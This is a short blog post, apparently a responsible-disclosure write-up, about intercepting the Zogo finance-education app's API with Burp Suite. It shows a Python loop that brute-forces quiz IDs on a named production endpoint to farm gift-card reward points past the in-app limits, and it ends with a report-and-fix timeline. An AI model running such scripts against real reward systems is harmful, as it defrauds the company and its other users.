Zoh-no Zogo: Manufacturing pineapples (and cash) with Burp Suite
Zogo is a finanical education app that offers incentives to its users, through gift cards, for completing learning “modules”. These modules are fairly broad, and cover topics such as an introduction to investing, 401ks, health insurance, and purchasing your first home.
The incentives take the form of gift cards, and include Amazon, Apple, and other gift cards that are pretty much as good as cash.
You earn pineapples by participating in the app through various quizzes, and once you have 5000 pineapples, you can redeem a $5 gift card.
I wanted to poke around and see what their API looked like, and if there was a quicker way to generate these pineapples
Firing up burp suite
I used burp suite and set up the local proxy, hoping that the app wasn’t using TLS stapling. There’s a great jailbroken library called SSL Kill Switch 2 that will bypass the native TLS stapling API on ios devices, but my current iPhone isn’t jailbroken.
I was hopeful, though, because Zogo is still a small start up and probably hasn’t made network security a top priority.
I launched the app and it hit their API immediately. I started playing around and tried to map out every action you could do. Things became interesting once I tried answering one of the questions in the quiz.
As soon as I answered that question, this network request fired off:
And the response was even better:
Not only is there an endpoint for accepting quiz responses - it also tells you which option is correct. At this point I wanted to bring this over to python so I could play around with a bit more.
Burp suite has a great extension called “Copy as requests”. It will allow you to copy any network request as a python snippet.
Copying the request to python yielded this code that I could just run.
import requests
burp0_url = "https://api.zogofinance.com:443/production/v19/activity/multiple-choice"
burp0_headers = {"Content-Type": "application/json", "Origin": "ionic://localhost", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Accept": "application/json, text/plain, */*", "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", "Authorization": "Bearer <my token>", "Accept-Language": "en-us"}
burp0_json={"content_id": 101789, "is_party": False, "selected_answer_index": 0, "time_taken": 0}
requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
This lets you quickly start playing around with the request, and poke around their API.
Writing a solver
I brought this over to jupyter notebook so I could figure out how to bruteforce the right answer to every question.
I looked at the response and wrote a small script to iterate over every question ID and try and answer it with a selected_answer_index
. If it was correct I’d collect the pineapples and move on to the next one, and if it wasn’t, I’d just grab the known correct index from the response and resubmit it.
for i in range(1000):
burp0_json={"content_id": 100000+i, "is_party": False, "selected_answer_index": 1, "time_taken": 0}
resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
resp = resp.json()
if 'multiple_choice' not in resp:
pprint.pprint(resp)
continue
if not resp['multiple_choice']['is_correct']:
print(f'wrong answer for {burp0_json["content_id"]}')
burp0_json['selected_answer_index'] = resp['multiple_choice']['correct_answer_index']
resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json).json()
print(str(i), resp['multiple_choice']['is_correct'])
This worked immediately. Some question IDs didn’t exist, which spit back an error from their API, but valid questions would just give out points.
The great thing about this is that it bypassed the “hearts” limit in app - if you answered 5 questions incorrectly, you’d run out of hearts, and would have to wait something like 5 hours before you could use the app again. The route didn’t check if you had any hearts left, though, so you could just bruteforce the entire ID space with valid answers and collect the rewards.
Results
I brute forced 1000 question ids, which lead to nearly 30000 points, or $30 on amazon. Not a crazy amount of cash, but definitely an amount that would be felt on Zogo’s balance books if a non trivial percent of people abused this system. I also didn’t search through the whole ID space, so it’s possible the ceiling is significantly higher.
Timeline
Vulnerability reported: 1/18/21
Vulnerability acknowledged + fix prioritized: 1/19/21
Zogo was really fast in getting back to me and acknowleding the issue, and they’ll be adding in limits to the route and patching the issue. The vulnerability would have lead to a relatively small loss, but could potentially be abused if a larger group of users started exploiting it.
JonLuca at 20:55